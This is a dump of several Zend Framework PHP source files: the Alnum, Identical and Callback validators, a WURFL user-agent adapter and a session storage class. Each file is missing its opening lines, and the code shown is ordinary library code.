-------------------------------------------------------------------------------- 1 | "Invalid type given. String, integer or float expected", 61 | self::NOT_ALNUM => "'%value%' contains characters which are non alphabetic and no digits", 62 | self::STRING_EMPTY => "'%value%' is an empty string", 63 | ); 64 | 65 | /** 66 | * Sets default option values for this instance 67 | * 68 | * @param boolean|Zend_Config $allowWhiteSpace 69 | * @return void 70 | */ 71 | public function __construct($allowWhiteSpace = false) 72 | { 73 | if ($allowWhiteSpace instanceof Zend_Config) { 74 | $allowWhiteSpace = $allowWhiteSpace->toArray(); 75 | } 76 | 77 | if (is_array($allowWhiteSpace)) { 78 | if (array_key_exists('allowWhiteSpace', $allowWhiteSpace)) { 79 | $allowWhiteSpace = $allowWhiteSpace['allowWhiteSpace']; 80 | } else { 81 | $allowWhiteSpace = false; 82 | } 83 | } 84 | 85 | $this->allowWhiteSpace = (boolean) $allowWhiteSpace; 86 | } 87 | 88 | /** 89 | * Returns the allowWhiteSpace option 90 | * 91 | * @return boolean 92 | */ 93 | public function getAllowWhiteSpace() 94 | { 95 | return $this->allowWhiteSpace; 96 | } 97 | 98 | /** 99 | * Sets the allowWhiteSpace option 100 | * 101 | * @param boolean $allowWhiteSpace 102 | * @return Zend_Filter_Alnum Provides a fluent interface 103 | */ 104 | public function setAllowWhiteSpace($allowWhiteSpace) 105 | { 106 | $this->allowWhiteSpace = (boolean) $allowWhiteSpace; 107 | return $this; 108 | } 109 | 110 | /** 111 | * Defined by Zend_Validate_Interface 112 | * 113 | * Returns true if and only if $value contains only alphabetic and digit characters 114 | * 115 | * @param string $value 116 | * @return boolean 117 | */ 118 | public function isValid($value) 119 | { 120 | if (!is_string($value) && !is_int($value) && !is_float($value)) { 121 | $this->_error(self::INVALID); 122 | return false; 123 | } 124 | 125 | $this->_setValue($value); 126 | 127 | if ('' === $value) { 128 | $this->_error(self::STRING_EMPTY); 129 | return false; 130 | } 131 | 132 | if (null === self::$_filter) { 133 | /** 134 | * @see Zend_Filter_Alnum 135 | */ 136 | require_once 'Zend/Filter/Alnum.php'; 137 | self::$_filter = new Zend_Filter_Alnum(); 138 | } 139 | 140 | self::$_filter->allowWhiteSpace = $this->allowWhiteSpace; 141 | 142 | if ($value != self::$_filter->filter($value)) { 143 | $this->_error(self::NOT_ALNUM); 144 | return false; 145 | } 146 | 147 | return true; 148 | } 149 | 150 | } 151 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Features/Adapter/WurflApi.php: -------------------------------------------------------------------------------- 1 | wurflFile($c['wurfl']['main-file']) 84 | ->wurflPatch($c['wurfl']['patches']) 85 | ->persistence($c['persistence']['provider'], $c['persistence']['dir']); 86 | } 87 | 88 | $wurflManagerFactory = new WURFL_WURFLManagerFactory($wurflConfig); 89 | $wurflManager = $wurflManagerFactory->create(); 90 | break; 91 | default: 92 | require_once 'Zend/Http/UserAgent/Features/Exception.php'; 93 | throw new Zend_Http_UserAgent_Features_Exception(sprintf( 94 | 'Unknown API version "%s"', 95 | $config['wurfl_api_version'] 96 | )); 97 | } 98 | 99 | $device = $wurflManager->getDeviceForHttpRequest(array_change_key_case($request, CASE_UPPER)); 100 | $features = $device->getAllCapabilities(); 101 | return $features; 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /Zend/Validate/Identical.php: -------------------------------------------------------------------------------- 1 | "The two given tokens do not match", 46 | self::MISSING_TOKEN => 'No token was provided to match against', 47 | ); 48 | 49 | /** 50 | * @var array 51 | */ 52 | protected $_messageVariables = array( 53 | 'token' => '_tokenString' 54 | ); 55 | 56 | /** 57 | * Original token against which to validate 58 | * @var string 59 | */ 60 | protected $_tokenString; 61 | protected $_token; 62 | protected $_strict = true; 63 | 64 | /** 65 | * Sets validator options 66 | * 67 | * @param mixed $token 68 | * @return void 69 | */ 70 | public function __construct($token = null) 71 | { 72 | if ($token instanceof Zend_Config) { 73 | $token = $token->toArray(); 74 | } 75 | 76 | if (is_array($token) && array_key_exists('token', $token)) { 77 | if (array_key_exists('strict', $token)) { 78 | $this->setStrict($token['strict']); 79 | } 80 | 81 | $this->setToken($token['token']); 82 | } else if (null !== $token) { 83 | $this->setToken($token); 84 | } 85 | } 86 | 87 | /** 88 | * Retrieve token 89 | * 90 | * @return string 91 | */ 92 | public function getToken() 93 | { 94 | return $this->_token; 95 | } 96 | 97 | /** 98 | * Set token against which to compare 99 | * 100 | * @param mixed $token 101 | * @return Zend_Validate_Identical 102 | */ 103 | public function setToken($token) 104 | { 105 | $this->_tokenString = (string) $token; 106 | $this->_token = $token; 107 | return $this; 108 | } 109 | 110 | /** 111 | * Returns the strict parameter 112 | * 113 | * @return boolean 114 | */ 115 | public function getStrict() 116 | { 117 | return $this->_strict; 118 | } 119 | 120 | /** 121 | * Sets the strict parameter 122 | * 123 | * @param Zend_Validate_Identical 124 | */ 125 | public function setStrict($strict) 126 | { 127 | $this->_strict = (boolean) $strict; 128 | return $this; 129 | } 130 | 131 | /** 132 | * Defined by Zend_Validate_Interface 133 | * 134 | * Returns true if and only if a token has been set and the provided value 135 | * matches that token. 136 | * 137 | * @param mixed $value 138 | * @param array $context 139 | * @return boolean 140 | */ 141 | public function isValid($value, $context = null) 142 | { 143 | $this->_setValue((string) $value); 144 | 145 | if (($context !== null) && isset($context) && array_key_exists($this->getToken(), $context)) { 146 | $token = $context[$this->getToken()]; 147 | } else { 148 | $token = $this->getToken(); 149 | } 150 | 151 | if ($token === null) { 152 | $this->_error(self::MISSING_TOKEN); 153 | return false; 154 | } 155 | 156 | $strict = $this->getStrict(); 157 | if (($strict && ($value !== $token)) || (!$strict && ($value != $token))) { 158 | $this->_error(self::NOT_SAME); 159 | return false; 160 | } 161 | 162 | return true; 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Storage/Session.php: -------------------------------------------------------------------------------- 1 | toArray(); 86 | } elseif (is_object($options)) { 87 | $options = (array) $options; 88 | } 89 | if (null !== $options && !is_array($options)) { 90 | require_once 'Zend/Http/UserAgent/Storage/Exception.php'; 91 | throw new Zend_Http_UserAgent_Storage_Exception(sprintf( 92 | 'Expected array or object options; "%s" provided', 93 | gettype($options) 94 | )); 95 | } 96 | 97 | // add '.' to prevent the message ''Session namespace must not start with a number' 98 | $this->_namespace = '.' 99 | . (isset($options['browser_type']) 100 | ? $options['browser_type'] 101 | : self::NAMESPACE_DEFAULT); 102 | $this->_member = isset($options['member']) ? $options['member'] : self::MEMBER_DEFAULT; 103 | $this->_session = new Zend_Session_Namespace($this->_namespace); 104 | } 105 | 106 | /** 107 | * Returns the session namespace name 108 | * 109 | * @return string 110 | */ 111 | public function getNamespace() 112 | { 113 | return $this->_namespace; 114 | } 115 | 116 | /** 117 | * Returns the name of the session object member 118 | * 119 | * @return string 120 | */ 121 | public function getMember() 122 | { 123 | return $this->_member; 124 | } 125 | 126 | /** 127 | * Defined by Zend_Http_UserAgent_Storage 128 | * 129 | * @return boolean 130 | */ 131 | public function isEmpty() 132 | { 133 | return empty($this->_session->{$this->_member}); 134 | } 135 | 136 | /** 137 | * Defined by Zend_Http_UserAgent_Storage 138 | * 139 | * @return mixed 140 | */ 141 | public function read() 142 | { 143 | return $this->_session->{$this->_member}; 144 | } 145 | 146 | /** 147 | * Defined by Zend_Http_UserAgent_Storage 148 | * 149 | * @param mixed $contents 150 | * @return void 151 | */ 152 | public function write($content) 153 | { 154 | $this->_session->{$this->_member} = $content; 155 | } 156 | 157 | /** 158 | * Defined by Zend_Http_UserAgent_Storage 159 | * 160 | * @return void 161 | */ 162 | public function clear() 163 | { 164 | unset($this->_session->{$this->_member}); 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /Zend/Validate/Callback.php: -------------------------------------------------------------------------------- 1 | "'%value%' is not valid", 52 | self::INVALID_CALLBACK => "An exception has been raised within the callback", 53 | ); 54 | 55 | /** 56 | * Callback in a call_user_func format 57 | * 58 | * @var string|array 59 | */ 60 | protected $_callback = null; 61 | 62 | /** 63 | * Default options to set for the filter 64 | * 65 | * @var mixed 66 | */ 67 | protected $_options = array(); 68 | 69 | /** 70 | * Sets validator options 71 | * 72 | * @param string|array $callback 73 | * @param mixed $max 74 | * @param boolean $inclusive 75 | * @return void 76 | */ 77 | public function __construct($callback = null) 78 | { 79 | if (is_callable($callback)) { 80 | $this->setCallback($callback); 81 | } elseif (is_array($callback)) { 82 | if (isset($callback['callback'])) { 83 | $this->setCallback($callback['callback']); 84 | } 85 | if (isset($callback['options'])) { 86 | $this->setOptions($callback['options']); 87 | } 88 | } 89 | 90 | if (null === ($initializedCallack = $this->getCallback())) { 91 | require_once 'Zend/Validate/Exception.php'; 92 | throw new Zend_Validate_Exception('No callback registered'); 93 | } 94 | } 95 | 96 | /** 97 | * Returns the set callback 98 | * 99 | * @return mixed 100 | */ 101 | public function getCallback() 102 | { 103 | return $this->_callback; 104 | } 105 | 106 | /** 107 | * Sets the callback 108 | * 109 | * @param string|array $callback 110 | * @return Zend_Validate_Callback Provides a fluent interface 111 | */ 112 | public function setCallback($callback) 113 | { 114 | if (!is_callable($callback)) { 115 | require_once 'Zend/Validate/Exception.php'; 116 | throw new Zend_Validate_Exception('Invalid callback given'); 117 | } 118 | $this->_callback = $callback; 119 | return $this; 120 | } 121 | 122 | /** 123 | * Returns the set options for the callback 124 | * 125 | * @return mixed 126 | */ 127 | public function getOptions() 128 | { 129 | return $this->_options; 130 | } 131 | 132 | /** 133 | * Sets options for the callback 134 | * 135 | * @param mixed $max 136 | * @return Zend_Validate_Callback Provides a fluent interface 137 | */ 138 | public function setOptions($options) 139 | { 140 | $this->_options = (array) $options; 141 | return $this; 142 | } 143 | 144 | /** 145 | * Defined by Zend_Validate_Interface 146 | * 147 | * Returns true if and only if the set callback returns 148 | * for the provided $value 149 | * 150 | * @param mixed $value 151 | * @return boolean 152 | */ 153 | public function isValid($value) 154 | { 155 | $this->_setValue($value); 156 | 157 | $options = $this->getOptions(); 158 | $callback = $this->getCallback(); 159 | $args = func_get_args(); 160 | $options = array_merge($args, $options); 161 | 162 | try { 163 | if (!call_user_func_array($callback, $options)) { 164 | $this->_error(self::INVALID_VALUE); 165 | return false; 166 | } 167 | } catch (Exception $e) { 168 | $this->_error(self::INVALID_CALLBACK); 169 | return false; 170 | } 171 | 172 | return true; 173 | } 174 | } 175 | --------------------------------------------------------------------------------